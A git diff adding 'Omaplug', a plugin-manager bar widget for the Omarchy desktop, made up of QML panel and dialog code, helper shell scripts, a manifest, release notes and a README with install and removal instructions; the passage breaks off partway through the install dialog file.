root.autoCheckCoordinatorPath = String(Qt.resolvedUrl("auto-check-coordinator.sh")).replace(/^file:\/\//, "") + refreshPlugins() + fetchMarketplace() + Qt.callLater(function() { updateStatusFile.reload(); installStatusFile.reload() }) + // A toggle/move/remove rewrites shell.json, and the bar rebuilds every + // widget on every monitor in response — including this panel's own + // Loader, which destroys the open instance. Consume a pending reopen + // flag (state file) so the fresh instance reopens itself. + keepOpenFlagRead.running = true + } + + // Mark the panel to reopen after the bar rebuild that this action is + // about to trigger. Call before any registry write from panel UI. + // The flag lives in a state file: instance properties cannot survive the + // rebuild, and the shell object rejects dynamic properties. + function keepOpenAcrossRebuild() { + keepOpenFlagWrite.command = ["python3", root.runtimeStatePath, "reopen-write", + root.layoutPageOpen ? "layout" : "main"] + keepOpenFlagWrite.running = true + } + + // State-file flag backing keepOpenAcrossRebuild. Two one-shot Processes + // (write before the action, consume on fresh load) because plain file IO + // from QML JS is intentionally unavailable in Quickshell. + Process { + id: keepOpenFlagWrite + } + + Process { + id: keepOpenFlagRead + command: ["python3", root.runtimeStatePath, "reopen-read"] + stdout: StdioCollector { id: keepOpenState; waitForEnd: true } + onExited: function(exitCode) { + if (exitCode === 0) { + keepOpenRetries = 0 + var restoreLayout = String(keepOpenState.text).trim() === "layout" + Qt.callLater(function() { + root.open() + root.layoutPageOpen = restoreLayout + }) + } else if (keepOpenRetries < 4) { + // The flag write races the rebuild: the fresh instance can load + // before the touch lands. Retry briefly before giving up. + keepOpenRetries++ + keepOpenRetry.restart() + } + } + } + + property int keepOpenRetries: 0 + + Timer { + id: keepOpenRetry + interval: 150 + repeat: false + onTriggered: { + if (!keepOpenFlagRead.running) keepOpenFlagRead.running = true + } + } + + // ------------------------------------------------------------- open / close + + function open() { + refreshPlugins() + // Pick up verification changes while retaining cached badges during the fetch. + fetchMarketplace() + root.refreshBarLayout() + root.controller.show() + Qt.callLater(function() { + if (root.opened) root.primeFocus() + }) + } + + function close() { + root.installDialogOpen = false + root.updatesPageOpen = false + root.layoutPageOpen = false + root.removeConfirmOpen = false + root.restartConfirmOpen = false + root.removeSelectMode = false + root.removeSelection = {} + root.closeRowMenu() + root.controller.hide() + } + + function toggle() { + if (root.opened) root.close() + else root.open() + } + + + function switchPanel(direction) { + if (root.bar && typeof root.bar.switchPanelFrom === "function") + return root.bar.switchPanelFrom(root.barIdentity, direction) + return false + } + + // Keyboard focus lands in the search field so the panel can be typed into + // the moment it opens. A retry covers the brief window where the layer + // negotiates focus before the field can grab it. + function primeFocus() { + if (searchField) searchField.forceActiveFocus() + focusRetry.restart() + } + + Timer { + id: focusRetry + interval: 120 + repeat: false + onTriggered: { + if (root.opened && searchField) searchField.forceActiveFocus() + } + } + + KeyboardPanel { + id: panel + anchorItem: root.anchorItem + owner: root.barIdentity + bar: root.bar + open: root.opened + focusTarget: keyCatcher + contentWidth: panel.fittedContentWidth(Style.space(560)) + contentHeight: panel.fittedContentHeight(Style.space(720)) + + // ------------------------------------------------------------------- content + + // Persistent app header: sits above every page (main, updates, remove). + Rectangle { + id: appHeader + anchors.top: parent.top + anchors.left: parent.left + anchors.right: parent.right + height: appHeaderColumn.implicitHeight + Style.space(16) + z: 6000 + color: root.panelBackground + + ColumnLayout { + id: appHeaderColumn + anchors.top: parent.top + anchors.left: parent.left + anchors.right: parent.right + anchors.topMargin: Style.space(8) + anchors.leftMargin: Style.space(16) + anchors.rightMargin: Style.space(16) + anchors.bottomMargin: Style.space(8) + spacing: Style.space(2) + + RowLayout { + Layout.fillWidth: true + spacing: Style.space(14) + + Text { + id: appHeaderIcon + Layout.preferredWidth: Style.space(44) + Layout.preferredHeight: Style.space(44) + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + text: root.iconFor("omaplug") || "\udb85\udcd9" + color: Style.selectedStateColor(root.contentForeground, Color.accent) + font.family: root.contentFontFamily + font.pixelSize: Style.space(34) + font.bold: true + } + + ColumnLayout { + Layout.fillWidth: true + Layout.alignment: Qt.AlignVCenter + spacing: Style.space(2) + + RowLayout { + Layout.fillWidth: true + spacing: Style.space(8) + + Label { + text: "OMAPLUG" + color: root.contentForeground + font.family: root.contentFontFamily + font.pixelSize: Style.font.title * 1.6 + font.bold: true + Layout.fillWidth: true + } + + Button { + id: marketplaceButton + text: "\udb86\ude6f Marketplace" + tooltipText: "Open the Omarchy plugin marketplace" + bordered: true + foreground: root.contentForeground + accent: Color.accent + fontFamily: root.contentFontFamily + fontSize: Style.font.caption + horizontalPadding: Style.space(8) + verticalPadding: Style.space(3) + Layout.alignment: Qt.AlignVCenter + onClicked: Qt.openUrlExternally("https://plugins.omarchy.org") + } + + Button { + id: restartShellButton + text: "\uf021 Restart shell" + tooltipText: "Clear the QML cache and restart the shell so every plugin reloads from source" + bordered: true + foreground: root.contentForeground + accent: Color.accent + fontFamily: root.contentFontFamily + fontSize: Style.font.caption + horizontalPadding: Style.space(8) + verticalPadding: Style.space(3) + Layout.alignment: Qt.AlignVCenter + onClicked: root.requestRestartShell() + } + } + + Label { + text: root.headerSummary + textFormat: Text.PlainText + color: Qt.darker(root.contentForeground, 1.5) + font.family: root.contentFontFamily + font.pixelSize: Style.font.bodySmall + Layout.fillWidth: true + } + } + } + } + } + + Item { + id: panelContent + anchors.fill: parent + clip: true + anchors.topMargin: appHeader.height + // The updates page (z: 5000, below) is a full overlay, not a child of + // this Item, so painting/input here would otherwise carry on + // underneath it - visible through any transparency in panelBackground, + // and still clickable through any gap the overlay's own MouseArea + // misses. Hiding this Item outright while that page is open removes + // both problems at the source instead of only blocking clicks. + visible: !root.updatesPageOpen + + MouseArea { + anchors.fill: parent + acceptedButtons: Qt.LeftButton + onClicked: {} // swallow + } + + PanelKeyCatcher { + id: keyCatcher + anchors.fill: parent + blocked: searchField.activeFocus || filterDropdown.popupOpen + onCloseRequested: root.close() + onTabRequested: function(direction) { root.switchPanel(direction) } + } + + ColumnLayout { + anchors.fill: parent + anchors.margins: Style.space(16) + anchors.bottomMargin: 0 + spacing: Style.space(10) + + RowLayout { + Layout.fillWidth: true + spacing: Style.space(8) + + Label { + text: "Installed Plugins" + color: root.contentForeground + font.family: root.contentFontFamily + font.pixelSize: Style.font.body + font.bold: true + Layout.fillWidth: true + } + + Button { + iconText: "\uf021" + tooltipText: root.checkingUpdates ? "Checking for updates…" : "Check updates" + enabled: !root.checkingUpdates && !root.updateDetachedRunning + foreground: root.checkingUpdates + ? Color.muted + : root.contentForeground + accent: Color.accent + iconSpinning: root.checkingUpdates + // Keep the glyph's visual center stable while it spins and make + // the disabled state unmistakable against bright themes. + iconSize: Style.font.body + opacity: root.checkingUpdates ? 0.65 : 1 + fontFamily: root.contentFontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(10) + verticalPadding: Style.space(5) + onClicked: { + root.updatesPageOpen = true + if (!root.checkingUpdates) root.checkUpdates() + } + } + + Button { + iconText: "" + tooltipText: "Arrange bar layout" + foreground: root.contentForeground + accent: Color.accent + fontFamily: root.contentFontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(10) + verticalPadding: Style.space(5) + onClicked: root.layoutPageOpen = true + } + + Button { + iconText: "󱓖" + tooltipText: "Install plugin" + foreground: root.contentForeground + accent: Color.accent + fontFamily: root.contentFontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(10) + verticalPadding: Style.space(5) + onClicked: root.installDialogOpen = true + } + + Button { + text: root.removeSelectMode ? "Done" : "Select" + tooltipText: "Select plugins to remove" + enabled: !root.removingPlugin + foreground: root.contentForeground + accent: Color.accent + fontFamily: root.contentFontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(10) + verticalPadding: Style.space(5) + onClicked: { + root.removeSelectMode = !root.removeSelectMode + if (!root.removeSelectMode) root.removeSelection = {} + } + } + } + + RowLayout { + Layout.fillWidth: true + spacing: Style.space(6) + + Dropdown { + id: filterDropdown + Layout.preferredWidth: Style.space(140) + showLabel: false + value: String(root.filterMode) + options: [ + { value: "0", label: "All plugins" }, + { value: "1", label: "Omarchy" }, + { value: "2", label: "Third-party" } + ] + foreground: root.contentForeground + background: root.panelBackground + popupBorder: Util.alpha(root.contentForeground, 0.2) + accent: Color.accent + fontFamily: root.contentFontFamily + onChanged: function(v) { root.filterMode = parseInt(v) } + } + + Dropdown { + id: kindDropdown + Layout.preferredWidth: Style.space(130) + showLabel: false + value: root.filterKind + options: root.kindOptions + foreground: root.contentForeground + background: root.panelBackground + popupBorder: Util.alpha(root.contentForeground, 0.2) + accent: Color.accent + fontFamily: root.contentFontFamily + onChanged: function(v) { root.filterKind = v } + } + + TextField { + id: searchField + Layout.fillWidth: true + placeholderText: "Search plugins…" + foreground: root.contentForeground + accent: Color.accent + font.family: root.contentFontFamily + text: root.searchText + onTextChanged: root.searchText = text + Keys.onEscapePressed: { root.close() } + } + } + + ListView { + id: pluginList + Layout.fillWidth: true + Layout.fillHeight: true + clip: true + spacing: 0 + model: root.visibleRows + ScrollBar.vertical: ScrollBar { + policy: ScrollBar.AsNeeded + implicitWidth: Style.space(6) + contentItem: Rectangle { + implicitWidth: Style.space(6) + implicitHeight: Style.space(6) + radius: width / 2 + color: Util.alpha(root.contentForeground, 0.45) + } + } + + delegate: Plugin.Row { + id: pluginRow + + width: pluginList.width + rowCount: pluginList.count + marketplaceEntry: pluginRow.modelData.firstParty + ? null + : (root.marketplaceMap[String(pluginRow.modelData.id)] || null) + localCommit: root.pluginCommits[String(pluginRow.modelData.sourceKey)] || "" + repoUrl: root.pluginRepos[String(pluginRow.modelData.sourceKey)] || "" + repoKnown: root.pluginRepos[String(pluginRow.modelData.sourceKey)] !== undefined + updateState: String(root.updateStates[String(pluginRow.modelData.sourceKey)] || "") + removeSelectMode: root.removeSelectMode + selectedForRemoval: root.removeSelection[pluginRow.modelData.id] === true + removingPlugin: root.removingPlugin + pluginEnabled: root.pluginEnabled(pluginRow.modelData.id) + updateRunning: root.updateDetachedRunning + updatingId: root.updatingId + icon: root.iconFor(pluginRow.modelData.id) + knownKinds: root.knownKinds + foreground: root.contentForeground + fontFamily: root.contentFontFamily + + onRemovalSelectionRequested: function(pluginId) { + root.toggleRemoveSelection(pluginId) + } + onEnabledChangeRequested: function(pluginId, enabled) { + root.setPluginEnabled(pluginId, enabled) + } + onOpenUrlRequested: function(url) { Qt.openUrlExternally(url) } + onSourceRequested: function(sourceKey) { root.openPluginRepo(sourceKey) } + onUpdateRequested: function(sourceKey) { root.updatePlugin(sourceKey) } + onMenuRequested: function(pluginId, sourceItem, x, y) { + var point = sourceItem.mapToItem(rowMenuOverlay, x, y) + root.openRowMenu(pluginId, point.x, point.y) + } + } + } + + RowLayout { + Layout.fillWidth: true + + spacing: Style.space(8) + Layout.maximumHeight: implicitHeight + visible: root.checkingUpdates || root.updateSummary !== "" + || root.removeSummary !== "" + || root.moveSummary !== "" + || (root.removeSelectMode && root.selectedRemoveCount > 0) + + Label { + visible: root.checkingUpdates || root.updateSummary !== "" + text: root.checkingUpdates + ? "Checking plugin updates…" + : root.updateSummary + textFormat: Text.PlainText + color: root.checkingUpdates + ? Qt.darker(root.contentForeground, 1.5) + : Style.selectedStateColor(root.contentForeground, Color.accent) + font.family: root.contentFontFamily + font.pixelSize: Style.font.bodySmall + } + + Label { + visible: root.removeSummary !== "" + text: root.removeSummary + textFormat: Text.PlainText + color: Style.selectedStateColor(root.contentForeground, Color.accent) + font.family: root.contentFontFamily + font.pixelSize: Style.font.bodySmall + } + + Label { + visible: root.moveSummary !== "" + text: root.moveSummary + textFormat: Text.PlainText + color: Style.selectedStateColor(root.contentForeground, Color.accent) + font.family: root.contentFontFamily + font.pixelSize: Style.font.bodySmall + } + + Item { + Layout.fillWidth: true + } + + Button { + visible: root.removeSelectMode && root.selectedRemoveCount > 0 + text: "Remove selected (" + root.selectedRemoveCount + ")" + enabled: !root.removingPlugin + foreground: root.contentForeground + accent: Color.urgent + fontFamily: root.contentFontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(12) + verticalPadding: Style.space(6) + onClicked: root.removeSelected() + } + } + } + } + Updates.Page { + id: updatesPage + anchors.fill: parent + z: 5000 + + open: root.updatesPageOpen + topInset: appHeader.height + Style.space(16) + foreground: root.contentForeground + fontFamily: root.contentFontFamily + panelBackground: root.panelBackground + rows: root.updateCheckRows + updateStates: root.updateStates + marketplaceMap: root.marketplaceMap + marketplaceFetching: root.marketplaceFetching + marketplaceFetchFailed: root.marketplaceFetchFailed + checking: root.checkingUpdates + updateRunning: root.updateDetachedRunning + updatingAll: root.updatingAll + pendingCount: root.pendingUpdateCount + summary: root.updateSummary + iconFor: root.iconFor + whatsNewUrlFor: root.whatsNewUrlFor + autoCheckEnabled: root.autoCheckEnabled + autoCheckIntervalHours: root.autoCheckIntervalHours + + onCloseRequested: root.updatesPageOpen = false + onTabRequested: function(direction) { root.switchPanel(direction) } + onOpenUrlRequested: function(url) { root.openExternal(url) } + onUpdatePluginRequested: function(sourceKey) { root.updatePlugin(sourceKey) } + onUpdateAllRequested: root.updateAll() + onAutoCheckEnabledRequested: function(value) { root.setAutoCheckEnabled(value) } + onAutoCheckIntervalRequested: function(hours) { root.setAutoCheckIntervalHours(hours) } + } + + Arrange.Page { + id: layoutPage + anchors.fill: parent + anchors.topMargin: appHeader.height + z: 5000 + + open: root.layoutPageOpen + sections: root.barLayoutSections + foreground: root.contentForeground + fontFamily: root.contentFontFamily + panelBackground: root.panelBackground + + onCloseRequested: root.layoutPageOpen = false + onDropRequested: function(pluginId, section, index) { + root.moveWidgetToPosition(pluginId, section, index) + } + } + + + Plugin.ContextMenu { + id: rowMenuOverlay + anchors.fill: parent + z: 12000 + + open: root.rowMenuOpen + plugin: root.rowMenuPlugin() + pluginEnabled: rowMenuOverlay.plugin ? root.pluginEnabled(rowMenuOverlay.plugin.id) : false + repoKnown: rowMenuOverlay.plugin + && rowMenuOverlay.plugin.sourceKey !== "" + && root.pluginRepos[rowMenuOverlay.plugin.sourceKey] !== undefined + updateState: rowMenuOverlay.plugin + ? String(root.updateStates[rowMenuOverlay.plugin.sourceKey] || "") + : "" + updateRunning: root.updateDetachedRunning + requestedPosition: root.rowMenuPos + foreground: root.contentForeground + fontFamily: root.contentFontFamily + panelBackground: root.panelBackground + canMove: rowMenuOverlay.plugin ? root.canMoveWidget(rowMenuOverlay.plugin.id) : false + currentSection: rowMenuOverlay.plugin ? root.barSectionFor(rowMenuOverlay.plugin.id) : "" + + onCloseRequested: root.closeRowMenu() + onEnabledChangeRequested: function(pluginId, enabled) { + root.setPluginEnabled(pluginId, enabled) + } + onSourceRequested: function(sourceKey) { root.openPluginRepo(sourceKey) } + onUpdateRequested: function(sourceKey) { root.updatePlugin(sourceKey) } + onRemovalRequested: function(pluginId) { root.removePlugin(pluginId) } + onMoveRequested: function(pluginId, section) { root.moveWidgetToSection(pluginId, section) } + } + + Dialogs.Confirm { + anchors.fill: parent + z: 7000 + + open: root.removeConfirmOpen + title: root.removePending.length > 1 + ? "Remove " + root.removePending.length + " plugins?" + : "Remove this plugin?" + message: root.removePending.length > 1 + ? "The selected plugins will be deleted from your config. This cannot be undone." + : "\"" + (root.removePending.length === 1 ? root.removePending[0] : "") + "\" will be deleted from your config. This cannot be undone." + confirmText: "Remove" + dismissEnabled: !root.removingPlugin + borderColor: Color.urgent + confirmForeground: Color.urgent + confirmAccent: Color.urgent + confirmBordered: true + titleWrapMode: Text.WordWrap + foreground: root.contentForeground + fontFamily: root.contentFontFamily + panelBackground: root.panelBackground + + onCancelRequested: root.cancelRemove() + onConfirmRequested: root.confirmRemove() + } + + Dialogs.Confirm { + anchors.fill: parent + z: 7000 + + open: root.restartConfirmOpen + title: "Restart the shell?" + message: "The shell (and this panel) will restart so every plugin reloads from source. This fixes plugins that still run stale compiled QML. Unsaved panel state will be lost." + confirmText: "Restart" + confirmBordered: true + foreground: root.contentForeground + fontFamily: root.contentFontFamily + panelBackground: root.panelBackground + + onCancelRequested: root.cancelRestartShell() + onConfirmRequested: root.confirmRestartShell() + } + + Dialogs.Install { + anchors.fill: parent + z: 10000 + + open: root.installDialogOpen + running: root.installRunning + failed: root.installFailed + result: root.installResult + foreground: root.contentForeground + fontFamily: root.contentFontFamily + panelBackground: root.panelBackground + + onCloseRequested: root.installDialogOpen = false + onInstallRequested: function(rawUrl) { root.requestInstall(rawUrl) } + } + + Dialogs.Confirm { + anchors.fill: parent + z: 11000 + + open: root.installConfirmOpen + title: "Install plugin?" + message: "\"" + root.installPendingUrl + "\" will be added via `omarchy plugin add` but will remain DISABLED until you enable it manually. Review the code after install, then enable from the plugin list." + confirmText: "Install" + maximumWidth: Style.space(380) + titleWrapMode: Text.WordWrap + foreground: root.contentForeground + fontFamily: root.contentFontFamily + panelBackground: root.panelBackground + + onCancelRequested: root.cancelInstallConfirm() + onConfirmRequested: root.installPlugin() + } + } +} diff --git a/plugins/omaplug/README.md b/plugins/omaplug/README.md new file mode 100644 index 0000000..5992a63 --- /dev/null +++ b/plugins/omaplug/README.md @@ -0,0 +1,93 @@ +# 🧩 Omaplug + +**A small tool for managing your Omarchy plugins.** + +[![Marketplace](https://img.shields.io/badge/Omarchy_Marketplace-listed-blue)](https://plugins.omarchy.org/plugin.html?id=omaplug) [![Verified](https://img.shields.io/badge/Automated_Security_Baseline-verified-brightgreen)](https://github.com/omacom/omarchy-plugin-marketplace/blob/main/SECURITY.md#automated-security-baseline) [![hearts](https://stats.ussego.com/api/badges/hearts/omaplug.svg)](https://stats.ussego.com/plugins/omaplug) [![views](https://stats.ussego.com/api/badges/views/omaplug.svg)](https://stats.ussego.com/plugins/omaplug) [![copies](https://stats.ussego.com/api/badges/copies/omaplug.svg)](https://stats.ussego.com/plugins/omaplug) + +Access it right from the Omarchy bar — it gives you a centralized place to view and organize the plugins you have installed. Here are a few things you can use it for: + +- Easily turn individual plugins on or off as needed. +- Check for available updates and update them individually — or all at once. +- Remove plugins individually, or several in one go. +- Jump straight to each plugin's repo, or browse the [Omarchy marketplace](https://plugins.omarchy.org). + +Omaplug is listed on the marketplace: [plugins.omarchy.org/plugin.html?id=omaplug](https://plugins.omarchy.org/plugin.html?id=omaplug) + +## Screenshots + +![Omaplug preview](preview.png) + + + + + + + + + + + + + + + + + + + + + + +
    Main plugin listChecking for updatesInstalling a plugin
    Plugin listChecking for updatesInstalling a plugin
    Scope filterType filterRow action menu
    Scope filterType filterRow action menu
    + +## What it can do + +- **🔌 Enable / disable** — every discovered plugin (Omarchy's own and third-party) gets a simple toggle. Flipping it goes through the same registry the `omarchy plugin enable/disable` command uses, so what you see here is always what's really running. +- **🔄 Check for updates** — scans every installed third-party plugin and distinguishes clean updates from local plugins, symlinked development plugins, local changes, and genuine fetch errors. +- **⬆️ Update (or update everything)** — apply one update, or finish every proven-safe pending update from a single click, even while Omarchy reloads changed plugins. +- **➕ Install** — paste a git repo URL and add a plugin in one step. It'll warn you first that plugins run as unsandboxed code, because honesty is the default here. +- **🗑️ Remove** — third-party plugins only. Trash one, or enter Select mode to check several and remove them all at once (with a confirmation, no accidents). +- **🔗 Source link** — every git-managed plugin gets a `SOURCE` button that jumps straight to its repo page. +- **🔍 Search & filter** — narrow the list to Omarchy plugins, third-party plugins, or search by name, description, ID, author, or kind. +- **♻️ Restart shell** — if a plugin ever acts up from stale compiled code, one button clears the QML cache and restarts the shell so everything reloads fresh. + +## Install + +```bash +omarchy plugin add https://github.com/fross100/omaplug --enable +``` + +## Remove + +```bash +omarchy plugin remove omaplug +``` + +## Remove manually + +No terminal? No problem — or maybe you just like doing things the hands-on way. Here's how to remove it by hand: + +1. Delete the plugin folder: + +```bash +rm -rf ~/.config/omarchy/plugins/omaplug +``` + +2. Remove the `"id": "omaplug"` entry from the bar layout in `~/.config/omarchy/shell.json`. + +3. Restart the shell to apply: + +```bash +omarchy-restart-shell +``` + +## Requirements + +- Omarchy 4.x +- Quickshell +- `git`, `jq`, and the `omarchy` CLI +- Standard coreutils (`setsid`, `nohup`, `timeout`, `sed`) + +## License + +[MIT](LICENSE) © 2026 Fross diff --git a/plugins/omaplug/RELEASE_NOTES_1.5.1.md b/plugins/omaplug/RELEASE_NOTES_1.5.1.md new file mode 100644 index 0000000..c94060a --- /dev/null +++ b/plugins/omaplug/RELEASE_NOTES_1.5.1.md @@ -0,0 +1,15 @@ +# Omaplug 1.5.1 + +## Fixed + +- Secured runtime state, cache, lock, installer, and keep-open writes against symlink and replacement races. +- Replaced PID-directory locking with exclusive OS-managed locks. +- Added bounded, supervised helper processes and consistent XDG configuration paths. +- Fixed nested bar-widget removal so host layouts retain remaining widgets and failures stop the disable operation. +- Kept installer completion status separate from untrusted command output. + +## Tests + +- Added behavioral nested-widget regression coverage. +- Added isolated filesystem safety regressions. +- Full shell and Quickshell test suite passes locally. diff --git a/plugins/omaplug/auto-check-coordinator.sh b/plugins/omaplug/auto-check-coordinator.sh new file mode 100644 index 0000000..474803e --- /dev/null +++ b/plugins/omaplug/auto-check-coordinator.sh @@ -0,0 +1,23 @@ +#!/bin/bash + +# Coordinates plugin-state.sh across the bar's per-monitor instances. The +# omaplug widget exists once per monitor, each running its own independent +# Panel.qml and its own background auto-check Timer, so an unattended tick +# firing at (roughly) the same moment on every monitor would otherwise run +# N fully redundant git-fetch passes over every installed plugin. This wraps +# plugin-state.sh with a lock + shared cache so only one instance's tick +# does the real work; the others reuse its output. +# +# The manual "Check for updates" button in the panel bypasses this entirely +# and always calls plugin-state.sh directly - only the unattended Timer path +# (Panel.qml's autoUpdateCheckTimer) uses this wrapper. +# +# Usage: auto-check-coordinator.sh +# Output: identical CHECK/state line format to plugin-state.sh. + +set -euo pipefail + +PLUGINS_DIR="${1:?usage: auto-check-coordinator.sh }" +SCRIPT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd) + +exec python3 "$SCRIPT_DIR/runtime-state.py" check "$PLUGINS_DIR" diff --git a/plugins/omaplug/manifest.json b/plugins/omaplug/manifest.json new file mode 100644 index 0000000..4c09d78 --- /dev/null +++ b/plugins/omaplug/manifest.json @@ -0,0 +1,21 @@ +{ + "schemaVersion": 1, + "id": "omaplug", + "name": "Plugin Manager", + "version": "1.5.1", + "author": "Fross", + "license": "MIT", + "description": "Manage installed Omarchy plugins: enable/disable, update, install from git, and remove third-party plugins", + "kinds": [ + "bar-widget" + ], + "entryPoints": { + "barWidget": "BarWidget.qml" + }, + "barWidget": { + "displayName": "Plugin Manager", + "description": "Enable/disable, update, install, and remove plugins", + "category": "System", + "allowMultiple": false + } +} diff --git a/plugins/omaplug/marketplace-catalog.sh b/plugins/omaplug/marketplace-catalog.sh new file mode 100644 index 0000000..56126fe --- /dev/null +++ b/plugins/omaplug/marketplace-catalog.sh @@ -0,0 +1,34 @@ +#!/bin/bash + +set -euo pipefail + +CATALOG_URL=${1:-https://plugins.omarchy.org/catalog.json} + +curl -fsSL --max-time 30 --max-filesize 16777216 "$CATALOG_URL" | + jq -ce ' + if (.plugins | type) != "array" then + error("catalog.plugins is not an array") + else + { + plugins: [ + .plugins[] + | select((.id | type) == "string" and (.id | length) > 0) + | { + id, + verificationStatus, + verificationCommit, + verificationSnapshotStatus, + verificationCoverage, + upstreamObservedCommit, + repositoryRelease: ( + if (.repositoryRelease | type) == "object" then + {url: .repositoryRelease.url} + else + null + end + ) + } + ] + } + end + ' diff --git a/plugins/omaplug/nested-widget-toggle.sh b/plugins/omaplug/nested-widget-toggle.sh new file mode 100644 index 0000000..e2bb1c0 --- /dev/null +++ b/plugins/omaplug/nested-widget-toggle.sh @@ -0,0 +1,30 @@ +#!/bin/bash + +set -euo pipefail + +id=${1:?plugin id required} +action=${2:-disable} +[[ $id =~ ^[A-Za-z0-9][A-Za-z0-9._-]*$ && $id != *..* ]] || exit 2 +[[ $action == disable || $action == enable ]] || exit 2 +config=$(omarchy-shell shell listShellConfig) + +if [[ $action == disable ]]; then + changes=$(jq -er --arg id "$id" ' + if type != "object" then error("invalid config") else . end + | (.bar.layout // {}) + | if type != "object" then error("invalid layout") else . end + | [to_entries[] | .value + | if type != "array" then error("invalid section") else .[] end + | select(type == "object") + | select((.widgets | type) == "array" and (.widgets | index($id)) != null) + | [.id, (.widgets | map(select(. != $id)) | tojson)] | @tsv] + | join("\n") + ' <<< "$config") + while IFS=$'\t' read -r host widgets; do + [[ -n $host ]] || continue + omarchy bar set "$host" widgets "$widgets" --json + done <<< "$changes" + exec omarchy plugin disable "$id" +fi + +exec omarchy plugin "$action" "$id" diff --git a/plugins/omaplug/panel/Presentation.js b/plugins/omaplug/panel/Presentation.js new file mode 100644 index 0000000..f29b111 --- /dev/null +++ b/plugins/omaplug/panel/Presentation.js @@ -0,0 +1,70 @@ +.pragma library + +function marketplaceUrl(pluginId) { + return "https://plugins.omarchy.org/plugin.html?id=" + encodeURIComponent(String(pluginId)) +} + +function listingChecksUrl(pluginId) { + return marketplaceUrl(pluginId) + "#verification" +} + +function shortSha(sha) { + var value = String(sha || "") + return value.length > 7 ? value.substring(0, 7) : value +} + +function normalizedGitHubUrl(repoUrl) { + var url = String(repoUrl || "") + if (!/^https:\/\/github\.com\//.test(url)) return "" + return url.replace(/\.git\/?$/, "").replace(/\/+$/, "") +} + +function commitUrl(repoUrl, sha) { + var url = normalizedGitHubUrl(repoUrl) + var commit = String(sha || "") + return url !== "" && commit !== "" ? url + "/commit/" + commit : "" +} + +function authorUrl(repoUrl) { + var match = normalizedGitHubUrl(repoUrl).match(/^https:\/\/github\.com\/([^\/]+)/) + return match ? "https://github.com/" + match[1] : "" +} + +function compareUrl(repoUrl, fromSha, toSha) { + var url = normalizedGitHubUrl(repoUrl) + var from = String(fromSha || "") + var to = String(toSha || "") + if (url === "" || from === "" || to === "" || from === to) return "" + return url + "/compare/" + from + "..." + to +} + +function kindLabel(kinds, knownKinds) { + if (!kinds) return "" + var parts = String(kinds).split(",") + var labels = [] + for (var i = 0; i < parts.length; i++) { + var kind = parts[i].trim() + if (kind === "") continue + var label = kind + for (var j = 0; j < knownKinds.length; j++) { + if (knownKinds[j].value === kind) { + label = knownKinds[j].label + break + } + } + labels.push(label) + } + return labels.join(", ").toUpperCase() +} + +function iconColor(name) { + var value = String(name || "") + var hash = 0 + for (var i = 0; i < value.length; i++) hash = (hash * 31 + value.charCodeAt(i)) | 0 + var palette = [ + "#c0392b", "#2980b9", "#27ae60", "#d35400", "#8e44ad", + "#16a085", "#e67e22", "#2c3e50", "#c0272f", "#21618c", + "#1e8449", "#b9770e", "#7d3c98", "#117a65", "#ca6f1e" + ] + return palette[Math.abs(hash) % palette.length] +} diff --git a/plugins/omaplug/panel/dialogs/Confirm.qml b/plugins/omaplug/panel/dialogs/Confirm.qml new file mode 100644 index 0000000..f012bc1 --- /dev/null +++ b/plugins/omaplug/panel/dialogs/Confirm.qml @@ -0,0 +1,115 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import QtQuick.Controls +import QtQuick.Layouts +import qs.Commons +import qs.Ui + +Rectangle { + id: dialog + + required property bool open + required property string title + required property string message + required property string confirmText + required property color foreground + required property string fontFamily + required property color panelBackground + + property bool dismissEnabled: true + property real maximumWidth: Style.space(360) + property color borderColor: Style.selectedStateColor(foreground, Color.accent) + property color confirmForeground: foreground + property color confirmAccent: Color.accent + property bool confirmBordered: false + property int titleWrapMode: Text.NoWrap + + signal cancelRequested + signal confirmRequested + + visible: open + color: Util.alpha(panelBackground, 0.7) + focus: true + Keys.priority: Keys.BeforeItem + Keys.onEscapePressed: { + if (dialog.dismissEnabled) dialog.cancelRequested() + } + + MouseArea { + anchors.fill: parent + onClicked: { + if (dialog.dismissEnabled) dialog.cancelRequested() + } + } + + Rectangle { + id: card + + anchors.centerIn: parent + width: Math.min(parent.width - Style.space(32), dialog.maximumWidth) + height: content.implicitHeight + Style.space(36) + color: dialog.panelBackground + radius: Style.cornerRadius + border.color: dialog.borderColor + border.width: 1 + + ColumnLayout { + id: content + + anchors.fill: parent + anchors.margins: Style.space(18) + spacing: Style.space(12) + + Text { + text: dialog.title + textFormat: Text.PlainText + color: dialog.foreground + font.family: dialog.fontFamily + font.pixelSize: Style.font.title + font.bold: true + Layout.fillWidth: true + wrapMode: dialog.titleWrapMode + } + + Text { + text: dialog.message + textFormat: Text.PlainText + color: Qt.darker(dialog.foreground, 1.6) + font.family: dialog.fontFamily + font.pixelSize: Style.font.bodySmall + Layout.fillWidth: true + wrapMode: Text.WordWrap + } + + RowLayout { + Layout.fillWidth: true + + Item { Layout.fillWidth: true } + + Button { + text: "Cancel" + foreground: dialog.foreground + accent: Color.accent + fontFamily: dialog.fontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(12) + verticalPadding: Style.space(6) + onClicked: dialog.cancelRequested() + } + + Button { + text: dialog.confirmText + bordered: dialog.confirmBordered + foreground: dialog.confirmForeground + accent: dialog.confirmAccent + fontFamily: dialog.fontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(12) + verticalPadding: Style.space(6) + onClicked: dialog.confirmRequested() + } + } + } + } +} diff --git a/plugins/omaplug/panel/dialogs/Install.qml b/plugins/omaplug/panel/dialogs/Install.qml new file mode 100644 index 0000000..32a793a --- /dev/null +++ b/plugins/omaplug/panel/dialogs/Install.qml @@ -0,0 +1,138 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import QtQuick.Controls +import QtQuick.Layouts +import qs.Commons +import qs.Ui + +Rectangle { + id: dialog + + required property bool open + required property bool running + required property bool failed + required property string result + required property color foreground + required property string fontFamily + required property color panelBackground + + signal closeRequested + signal installRequested(string rawUrl) + + visible: open + color: Util.alpha(panelBackground, 0.7) + focus: true + onOpenChanged: { + if (open) Qt.callLater(function() { urlField.forceActiveFocus() }) + } + Keys.priority: 